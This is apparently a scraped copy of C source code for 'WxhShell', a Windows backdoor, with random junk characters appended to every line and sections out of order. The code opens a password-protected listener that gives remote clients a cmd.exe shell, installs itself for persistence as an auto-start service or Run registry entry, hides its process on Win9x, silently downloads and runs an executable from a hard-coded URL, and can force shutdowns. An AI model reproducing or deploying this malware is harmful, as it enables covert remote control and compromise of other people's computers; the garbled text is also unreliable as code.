    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1I({2@C  
    if(Boot(SHUTDOWN)) G| 7\[!R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a<X8l^Ln  
    else { blxAy  
    closesocket(wsh); .G[y^w)w}  
    ExitThread(0); o(xRq;i  
    } #_yQv?J  
    break; r fqw/o  
    } xdWfrm$;ZA  
  // 获取shell (Wkli:Lq  
  case 's': { Xx{ho 4qq  
    CmdShell(wsh); KTn,}7vZ  
    closesocket(wsh); Enee\!@v  
    ExitThread(0); CU =}]Y  
    break; P.*J'q 28  
  } nb(4"|8}  
  // 退出 RZ)sCR  
  case 'x': { B5J!&suX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QS2J271E}  
    CloseIt(wsh); [?)=3Pp  
    break; Gd0-}4S?  
    } gLv|Hu7  
  // 离开 `abQlBb*  
  case 'q': { j]7|5mC78  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [vki^M5i|Z  
    closesocket(wsh); ?]%JQ]Gf*  
    WSACleanup(); xsK{nM6g  
    exit(1); %bf+Y7m  
    break; \RN,i]c-g/  
        } -_=0PW5{  
  } MLg<YL  
  } /x.TF'Z*  
Q,Tet&in )  
  // 提示信息 ]2G5ng' @  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <%eY>E  
} `B+%W  
  } yu"Ii-9z  
2}j2Bhc  
  return; ={' "ATX(U  
} ~XGO^P"?  
a2W}Wb+  
// shell模块句柄 h"VQFqQy  
int CmdShell(SOCKET sock) Tks;,C  
{ {9TWPB/>  
STARTUPINFO si; "cjZ6^Hum  
ZeroMemory(&si,sizeof(si)); Mr'}IX5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M,V+bt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E/cA6*E[.<  
PROCESS_INFORMATION ProcessInfo; 70_T;K6  
char cmdline[]="cmd"; CCKg,v  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WtI1h`Fo  
  return 0; H3{x; {.b  
} :QgC Zq  
Mq) n=M  
// 自身启动模式 R_h(Z{d  
int StartFromService(void) E [JXQ76  
{ m1_?xU  
typedef struct N_<sCRd]9  
{ /H.QGPr  
  DWORD ExitStatus; \3K6NA!L  
  DWORD PebBaseAddress; hT6:7 _UD  
  DWORD AffinityMask; *ggTTHy  
  DWORD BasePriority; >(z{1'f{  
  ULONG UniqueProcessId; .fcU&t  
  ULONG InheritedFromUniqueProcessId; |Y3!Lix  
}   PROCESS_BASIC_INFORMATION; hZnT`!iFE^  
-Nmf}`_  
PROCNTQSIP NtQueryInformationProcess; KsYT3  
A/N*Nc  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zO{$kT\r&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )6)|PzMQ'  
j)\&#g0u6  
  HANDLE             hProcess; 7'FDI`e[  
  PROCESS_BASIC_INFORMATION pbi; ezTu1-m  
S-Va_ t$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /rp4m&!  
  if(NULL == hInst ) return 0; `XYT:'   
RBx`<iBe  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ff>Y<7CQ v  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !s,<h U#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R7*Jb-;$!  
Wq)'0U;{$  
  if (!NtQueryInformationProcess) return 0; A{h hnrr8  
$oE 4q6b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); dgssX9g37  
  if(!hProcess) return 0; $m/-E#I #Z  
U[d/ `  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FcIH<_r  
]6OrL TmP  
  CloseHandle(hProcess); h7Jo _L7  
T~$ePVk>L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HY#7Ctn3  
if(hProcess==NULL) return 0; zc J]US  
G_5sF|(mq  
HMODULE hMod; Z{#^lhHx  
char procName[255]; vVyO}Q`  
unsigned long cbNeeded; q" wi.&|  
!|_ CXm T|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y- k?_$ M  
7^sU/3z  
  CloseHandle(hProcess); WA Y<X:|We  
Te'^O,C)y$  
if(strstr(procName,"services")) return 1; // 以服务启动 1E$Z]5C9  
==x3|^0y  
  return 0; // 注册表启动 q^sMJ  
} \$;\,p p  
~ p; <H  
// 主模块 {EJVZG:&  
int StartWxhshell(LPSTR lpCmdLine) )I]E%ut{4,  
{ Tp`)cdcC[  
  SOCKET wsl; >|0yH9af  
BOOL val=TRUE; N)Qj^bD!  
  int port=0; 1ISA^< M  
  struct sockaddr_in door; Qm`f5-d  
uW>AH@Pij  
  if(wscfg.ws_autoins) Install(); M0Z>$Az]t  
&Wd,l$P<O  
port=atoi(lpCmdLine); 2?t(%uf]  
e::5|6x  
if(port<=0) port=wscfg.ws_port;  hPr  
iN<5[ztd  
  WSADATA data; 6?*iIA$b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]p'Qk  
N["c*=x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t{~"vD9Am  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5YS`v#+  
  door.sin_family = AF_INET; vlIdi@V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^'EEry  
  door.sin_port = htons(port); uNd;; X  
@<vDR">  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0IDHoNaT<  
closesocket(wsl); 0O-p(L=  
return 1; 9Z*`{  
} 'IfM~9'D  
WY 2b  
  if(listen(wsl,2) == INVALID_SOCKET) { 6./&l9{h+  
closesocket(wsl); |D]jdd@!a2  
return 1; q 4 Ye  
} |<y[gj4`T/  
  Wxhshell(wsl); KH pxWq  
  WSACleanup(); KXw \N!  
W\eB   
return 0; w2{k0MW  
/2'\ya4B  
} F!]UaEmV  
eg(xN/D  
// 以NT服务方式启动 {h9#JMIA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ! FHNKh  
{ 9k7|B>LT  
DWORD   status = 0; [&NF0c[i  
  DWORD   specificError = 0xfffffff; R$6Y\ *L[  
}QJE9;<e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =m}{g/Bk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; AL|fL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Fg#*rzA  
  serviceStatus.dwWin32ExitCode     = 0; 0RoI`>j'  
  serviceStatus.dwServiceSpecificExitCode = 0; PtgUo,P  
  serviceStatus.dwCheckPoint       = 0; SF_kap%JM  
  serviceStatus.dwWaitHint       = 0; ; UrwK  
u85y;AE,(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A1Q]KS@  
  if (hServiceStatusHandle==0) return; 2#+@bk>^{  
xmiF!R  
status = GetLastError(); R63"j\0  
  if (status!=NO_ERROR) &<_sXHg<x  
{ iZjvO`@[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ][G<CO`k  
    serviceStatus.dwCheckPoint       = 0; ? 5B}ZMW  
    serviceStatus.dwWaitHint       = 0; AO']Kmm  
    serviceStatus.dwWin32ExitCode     = status; a*SJHBB  
    serviceStatus.dwServiceSpecificExitCode = specificError; qsJA|z&6x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EiJSLL  
    return; vpXS!o>/Sn  
  } 6bb=;  
VKN^gz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {xM%3  
  serviceStatus.dwCheckPoint       = 0; ~]"}s(J;  
  serviceStatus.dwWaitHint       = 0; Q;5\( 0w5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $oxPmELtpe  
} *3 9sh[*}  
3N]pN<3@  
// 处理NT服务事件,比如:启动、停止 _&F6As !{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) W 8E<P y  
{ #mllVQ  
switch(fdwControl) vjXvjv{t  
{ ).ugMuk  
case SERVICE_CONTROL_STOP: PFPfLxna  
  serviceStatus.dwWin32ExitCode = 0; 1Eg}qU,:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~Zj?%4  
  serviceStatus.dwCheckPoint   = 0; a[(n91J0  
  serviceStatus.dwWaitHint     = 0; i(c2NPbX  
  { Q;aZpi-E"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E#HO0 ]S  
  } u|QfCwQ  
  return; 6eS#L21*  
case SERVICE_CONTROL_PAUSE: :=i0$k<E/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /au\OBUge  
  break; L3<XWpv  
case SERVICE_CONTROL_CONTINUE: hlUF9}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Nju7!yVM_  
  break; QT|mN  
case SERVICE_CONTROL_INTERROGATE: CS"p[-0  
  break; &UzZE17R  
}; {g @ *jo&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @'}X&TN<a  
} <|2_1[,sl  
Kjf#uU.7  
// 标准应用程序主函数 "\>3mVOb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iOJgZuP  
{ }VFSF/\^  
_puQX@i  
// 获取操作系统版本 5X`.2q=d  
OsIsNt=GetOsVer(); 7PisX!c,h  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C&5T;=<jKO  
y!v$5wi  
  // 从命令行安装 @{ nT4{  
  if(strpbrk(lpCmdLine,"iI")) Install(); Vm6^'1CY  
1%-?e``.  
  // 下载执行文件 MiSFT5$v6  
if(wscfg.ws_downexe) { <4O=[Q5S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Cog:6Gnw  
  WinExec(wscfg.ws_filenam,SW_HIDE); (+^1'?C8  
} +m+HC(Z  
W:) M}}&H  
if(!OsIsNt) { [{zekF~)@  
// 如果时win9x,隐藏进程并且设置为注册表启动 vW4 f3(/  
HideProc(); -_4! id  
StartWxhshell(lpCmdLine); @C!q S7k)  
} ED$gnFa3I  
else gf3/kll9  
  if(StartFromService()) 3[e@mcO  
  // 以服务方式启动 1:&$0jU&U  
  StartServiceCtrlDispatcher(DispatchTable); u5,IH2BU  
else ZR#UoYjupb  
  // 普通方式启动 PkVXn  
  StartWxhshell(lpCmdLine); }F3Z~  
"^trHh8=  
return 0; ~z aV.3#  
} ~P/G^cV3s  
Yb6\+}th  
6C3y+@9  
qb9%Y/xy  
=========================================== WYh7Y  
~cZ1=,P  
19=Dd#Nf  
sV*Q8b*  
| 'z)RFqj  
I+<;D sp  
" =k8A7P  
+L49 pv5  
#include <stdio.h> ~}M{[6!  
#include <string.h> keWgbj  
#include <windows.h> "Km`B1f`  
#include <winsock2.h> K3Xy%pqR#  
#include <winsvc.h> <y'ttxeS  
#include <urlmon.h> Fj&vWj`*  
%(e=Q^=  
#pragma comment (lib, "Ws2_32.lib") _ Po9pZ  
#pragma comment (lib, "urlmon.lib") :5Vu.\,1  
s e1ipn_A  
#define MAX_USER   100 // 最大客户端连接数 _E "[%  
#define BUF_SOCK   200 // sock buffer WkO .  
#define KEY_BUFF   255 // 输入 buffer I3L1|!  
x[?_F  
#define REBOOT     0   // 重启 wXZ-%,R -D  
#define SHUTDOWN   1   // 关机 ::5-UxGL<2  
P#0 _  
#define DEF_PORT   5000 // 监听端口 FE5R ^W#u-  
y%GV9  
#define REG_LEN     16   // 注册表键长度 $_ NaxV  
#define SVC_LEN     80   // NT服务名长度 D{4 Y:O&J  
e-s@@k  
// 从dll定义API O:U@m@7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \vT8 )\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^ ID%pd  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nph{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %*/[aq,#  
'v,W gPe  
// wxhshell配置信息 mrbIoN==`  
struct WSCFG { ydFY<Mb(o  
  int ws_port;         // 监听端口 >:xnjEsi$/  
  char ws_passstr[REG_LEN]; // 口令 hlVP_h"z  
  int ws_autoins;       // 安装标记, 1=yes 0=no K l4",  
  char ws_regname[REG_LEN]; // 注册表键名 "s*{0'jo  
  char ws_svcname[REG_LEN]; // 服务名 kQb0pfYs  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QxkfP%_g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 :C&?(HJ&r  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  [:k'VXL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _m&VdIPO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zZRqb/20  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ysa"f+/  
6RF01z|~_  
}; ENmo^O#,u  
e}?t[aK4#  
// default Wxhshell configuration ~\/ J&  
struct WSCFG wscfg={DEF_PORT, y#MLxm  
    "xuhuanlingzhe", a=J?[qrx  
    1, 0N}5sF  
    "Wxhshell", s,}<5N]U  
    "Wxhshell", sDF J  
            "WxhShell Service", :vr,@1c  
    "Wrsky Windows CmdShell Service", CJC|%i3  
    "Please Input Your Password: ", \x+DEy'4;5  
  1, \?g%>D:O;  
  "http://www.wrsky.com/wxhshell.exe", (r|T&'yK  
  "Wxhshell.exe" 7q?Yd AUz  
    }; < d]|5  
^U =`Rx  
// 消息定义模块 ! Q#b4f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l:ED_env:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; CxRp$;rk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WLpn,8qsY  
char *msg_ws_ext="\n\rExit."; OBZ|W**N"  
char *msg_ws_end="\n\rQuit."; /X:lt^?%I  
char *msg_ws_boot="\n\rReboot..."; Vy9n3W"FB1  
char *msg_ws_poff="\n\rShutdown..."; vW_A.iI"e  
char *msg_ws_down="\n\rSave to "; ,'9tR&S$_  
a_ P[J8j  
char *msg_ws_err="\n\rErr!"; ! $iR:ji  
char *msg_ws_ok="\n\rOK!"; Y}Dp{  
 Ntqc=z  
char ExeFile[MAX_PATH]; 70NHU;&N  
int nUser = 0; k`t'P6 bU  
HANDLE handles[MAX_USER]; Ao\Vh\rQkq  
int OsIsNt; 8x{vgx @M  
wv7jh~x(4  
SERVICE_STATUS       serviceStatus; 9,Mp/.T"\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k@~-|\ooG  
B -KOf  
// 函数声明 5bw]cv$i  
int Install(void); T/K.'92S  
int Uninstall(void); $i1A470C  
int DownloadFile(char *sURL, SOCKET wsh); <H p"ZCN  
int Boot(int flag); fH.W kAE1  
void HideProc(void); miKi$jC}vq  
int GetOsVer(void); d5%*^nMpY  
int Wxhshell(SOCKET wsl); 1^;h:,e6  
void TalkWithClient(void *cs); rEf\|x=st:  
int CmdShell(SOCKET sock); M;9+L&p=  
int StartFromService(void); =6dKC_Q  
int StartWxhshell(LPSTR lpCmdLine); xsvs3y|  
HB}gn2 .1&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $7r wara  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `SW " RLS3  
KCFwO'  
// 数据结构和表定义 mx[^LaR>v  
SERVICE_TABLE_ENTRY DispatchTable[] = qh'BrYu*  
{ JA}'d7yEa  
{wscfg.ws_svcname, NTServiceMain}, ? 1{S_  
{NULL, NULL} @Otc$hj  
}; +,[3a%c)H  
M~Slc*_%  
// 自我安装 g#:XN  
int Install(void) GW#kaqC1  
{ :2My|3H\  
  char svExeFile[MAX_PATH]; qIT{`hX  
  HKEY key; 85fDuJ9$Z"  
  strcpy(svExeFile,ExeFile); AN>`M?EQ  
B#MW`7c  
// 如果是win9x系统,修改注册表设为自启动 =tNiIU  
if(!OsIsNt) { Tc(R-Wi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {XXNl)%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S=g-&lK  
  RegCloseKey(key); "{k )nr+7U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $iPN5@F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *\WI!%  
  RegCloseKey(key); `Y;gMrp  
  return 0; @e,Zmx  
    } FNM"!z  
  } _PbfFY #  
} Mh|`XO.5I  
else { w3N%J>4_E  
T/;hIX:R  
// 如果是NT以上系统,安装为系统服务 $te,\$&}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \i+h P1 mz  
if (schSCManager!=0) ,m?D\Pru  
{ [J`G`s!  
  SC_HANDLE schService = CreateService F"H!CJJu&  
  ( DG\YZV4  
  schSCManager, Uq.~3V+u  
  wscfg.ws_svcname, N]}+F w\5  
  wscfg.ws_svcdisp, 5ecz'eA%  
  SERVICE_ALL_ACCESS, 0_ \ g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h /QP=Zd  
  SERVICE_AUTO_START, ug,|'<G+  
  SERVICE_ERROR_NORMAL, N^]>R :Stu  
  svExeFile, 4Jr[8P0/A9  
  NULL, X@&uu0JJ  
  NULL, /&d`c=nH  
  NULL, sri#L+I  
  NULL, #6jwCEo=V  
  NULL CD1=2  
  ); _0["J:s9  
  if (schService!=0) /A.i5=k  
  { PL$F;d  
  CloseServiceHandle(schService); UMwMXmZNJ  
  CloseServiceHandle(schSCManager); ~ p.W*skD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P i!r}m  
  strcat(svExeFile,wscfg.ws_svcname); )hW {>Y3x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }.) 43(>]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %QgAilj,  
  RegCloseKey(key); 2P_^@g  
  return 0; $F7gH  
    } .GN$H>')  
  } "EYj Y->  
  CloseServiceHandle(schSCManager); >Ron+ oe  
} V8$bPVps  
} u2B W]T]  
t/WnDR/fM  
return 1; zlztF$Bo  
} >Mz|e(6  
]3,.g)U*m  
// 自我卸载 r_,m\'~s !  
int Uninstall(void) F6c[v|3  
{ ONq/JW$?LV  
  HKEY key; z~e~K`S  
/_OZ1jX  
if(!OsIsNt) { ;T{/;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !b->u_  
  RegDeleteValue(key,wscfg.ws_regname); fKz"z{\,0  
  RegCloseKey(key); {kl{mJ*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w1#jVcUQ  
  RegDeleteValue(key,wscfg.ws_regname); kr`BUW3  
  RegCloseKey(key); ';\gR/L  
  return 0; <GgtP55  
  } u?3NBc$~A  
} AJ` v  
} AV 5\W}  
else { O;e8ft '|  
0 ;_wAk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JX/4=..  
if (schSCManager!=0) _#D\*0J  
{ LL[#b2CKa  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); EY&C [=  
  if (schService!=0) tP Efz+1N  
  { 7;}3{z  
  if(DeleteService(schService)!=0) { Y-3[KHD  
  CloseServiceHandle(schService); L^Q+Q)zTh  
  CloseServiceHandle(schSCManager); ,Q=)$ `%  
  return 0; BZ;}ROmqk  
  } EcU'*  
  CloseServiceHandle(schService); 7{^4 x#NO  
  } |] !o*7"4  
  CloseServiceHandle(schSCManager); -)O kG#J@  
} B.mbKntK)R  
} ]6B mCh  
*Qg5Z   
return 1; &:;;u\  
} f;Bfh3  
.p(6' TYnI  
// 从指定url下载文件 mo#0q&ZQ  
int DownloadFile(char *sURL, SOCKET wsh) HA9Nr.NqC@  
{ rbK#a)7  
  HRESULT hr; |aS~"lImh  
char seps[]= "/"; Ku/H=  
char *token; : \:~y9X0  
char *file; j[/SXF\=  
char myURL[MAX_PATH]; ]opW; |{e  
char myFILE[MAX_PATH]; qHR^0&  
l!;_lH8W$  
strcpy(myURL,sURL); F!)M<8jL&9  
  token=strtok(myURL,seps); Z cTL#OTP  
  while(token!=NULL) fATA%eA8;  
  { H6ky)kF&  
    file=token; &V#zkW  
  token=strtok(NULL,seps); 6A$_&?  
  } gR;8ht(pd(  
" _:iK]  
GetCurrentDirectory(MAX_PATH,myFILE); +% XhQ  
strcat(myFILE, "\\"); ,_Qe}qFU  
strcat(myFILE, file); XewXTd #x  
  send(wsh,myFILE,strlen(myFILE),0); xxoHH#a  
send(wsh,"...",3,0); "y~muE:.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "$W|/vD+  
  if(hr==S_OK) f3zfRhkIk  
return 0; QtnM(m  
else Db#W/8 a8k  
return 1; fVH*dX'Jz  
}$Hs;4|  
} {UdcX~\~  
 :Hzz{'  
// 系统电源模块 M<A;IOpR+  
int Boot(int flag) `J>E9p<  
{ =!?[]>Dh  
  HANDLE hToken; < QDr,Hj  
  TOKEN_PRIVILEGES tkp; =mKfFeO.  
Q{AZ'XV  
  if(OsIsNt) { FQk_#BkK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j<ABO")v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %tzN@  
    tkp.PrivilegeCount = 1; stg30><  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >'} Y1_S5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [y|^P\D  
if(flag==REBOOT) { )IFl 0<d  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &G-#*OG  
  return 0; S2rEy2\}:  
} 0i8[=  
else { !,Xyl} #  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5)d,G9  
  return 0; [$( sUc(%  
} 4_Qa=T8  
  } V3>f*Z)xn  
  else { q+A<g(Xu  
if(flag==REBOOT) { i?GfY C2q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +36H%&!  
  return 0; MkG`w,  
} v8=?HUDd  
else { ~\IF9!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QKp+;$SE'  
  return 0; +cz"`T`X 2  
} 7tpAZ<{  
} qri}=du&F  
Ws-6W!Ib%  
return 1; .'t (-eT,  
} 2BoFyL*  
gYTyH.  
// win9x进程隐藏模块 FX HAZ2/\  
void HideProc(void) rc;7W:  
{ 1MbY7!?PG  
R'Kt=.s<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?^%YRB&  
  if ( hKernel != NULL ) k $e D(cW$  
  { fL ~1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?,ZELpg n  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0+T*$=?  
    FreeLibrary(hKernel); ZYE' C  
  } L;/9L[s,  
LP.HS'M~u  
return; zKIGWH=qqm  
} |-~b$nUe  
i{o#3  
// 获取操作系统版本 [J a)<!]<  
int GetOsVer(void) D:=t*2-Iv  
{ )l`1)Ea~  
  OSVERSIONINFO winfo; 't +"k8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r_b8,I6{]  
  GetVersionEx(&winfo); r5t;'eCe a  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _*O7l  
  return 1; 3p:=xL  
  else <+V-k|  
  return 0; ?qju DD  
} d{er |$E?  
u?Fnln e4@  
// 客户端句柄模块 Oo FgQEr@  
int Wxhshell(SOCKET wsl) >vUB%OLyP  
{ >%-Hj6%  
  SOCKET wsh; ,"~WkLI~\t  
  struct sockaddr_in client; PeO]lq  
  DWORD myID; "yg.hK`  
1TKEm9j]u  
  while(nUser<MAX_USER) $aB /+,  
{ P+[QI U  
  int nSize=sizeof(client); T!MZ+Ph`F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !n|#|.0m  
  if(wsh==INVALID_SOCKET) return 1; + c`AE  
M2}np  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Vwjk[ DOL  
if(handles[nUser]==0) ov8 ByJc  
  closesocket(wsh); {}V$`L8  
else >xT^RYS  
  nUser++; }$l8d/_$[  
  } e"]"F{Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Eu|sWdmf l  
Yl $X3wi  
  return 0; m;dm|4L^  
} %B@ !  
>^dyQyK  
// 关闭 socket Z+ixRch@-s  
void CloseIt(SOCKET wsh) vkJ)FEar  
{ M)L/d_4ka  
closesocket(wsh); 5?Bc Y ;  
nUser--; 2z4<N2! M  
ExitThread(0); fV 3r|Bp  
} 3filAGR?  
)CJES!! W  
// 客户端请求句柄 #,G1R7  
void TalkWithClient(void *cs) 1Q]Rd  
{ 2d-{Q 8Pi  
cgyp5\*>+  
  SOCKET wsh=(SOCKET)cs; l';pP^.q  
  char pwd[SVC_LEN]; ;(7-WnU8N  
  char cmd[KEY_BUFF]; t#Th9G]1  
char chr[1]; te i`/  
int i,j; R~)ybf{  
c7\VTYT  
  while (nUser < MAX_USER) { zxkM'8JC  
K}x_nW  
if(wscfg.ws_passstr) { `ruNA>M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _3/ec]1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jm4#V~w  
  //ZeroMemory(pwd,KEY_BUFF); ;J]25j]]  
      i=0; w!\3ICB  
  while(i<SVC_LEN) { TXjloGv^  
_K'7(d0z  
  // 设置超时 JBz}|M D  
  fd_set FdRead; 9RH"d[%yc}  
  struct timeval TimeOut; %<ic%gt`#  
  FD_ZERO(&FdRead); v9=}S\=Cd  
  FD_SET(wsh,&FdRead); s.VA!@F5  
  TimeOut.tv_sec=8; K1OkZ6kl  
  TimeOut.tv_usec=0; } ~| k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^-hErsK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @D~B{Hg  
,9d9_c.T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &f-hG3/M  
  pwd=chr[0]; ND5$bq Nu?  
  if(chr[0]==0xd || chr[0]==0xa) { \@K~L4>  
  pwd=0; gw^'{b  
  break; tmO`|tn&  
  } +TH3&H5I_A  
  i++; ?Nf 5w  
    } qNxB{0(D  
VevNG *  
  // 如果是非法用户,关闭 socket Fi4UaJ3K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -p`L% xj\  
} A?8\Y{FQ  
*t(4 $  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eZH~je{1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  x0A7O  
/_)l|<k+V  
while(1) { IxOc':/jY  
z}+i=cAN  
  ZeroMemory(cmd,KEY_BUFF); ]!Oue_-;  
Lu=O+{*8  
      // 自动支持客户端 telnet标准   je%ldY]/@  
  j=0; ?iv=53<c#  
  while(j<KEY_BUFF) { :HRT 2I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y(5:}x&E  
  cmd[j]=chr[0]; ?'eq",c#4N  
  if(chr[0]==0xa || chr[0]==0xd) { xr[Vp  
  cmd[j]=0; s9O2k}]  
  break; bAEg$A  
  } CE ~@}`  
  j++; <^8*<;PaG  
    } 4r&f%caU  
oh~: ,  
  // 下载文件 M&KyA  
  if(strstr(cmd,"http://")) { +Rwx% =  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wfR&li{  
  if(DownloadFile(cmd,wsh)) [|RjHGf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )K;]y-Us[  
  else kccWoU,  
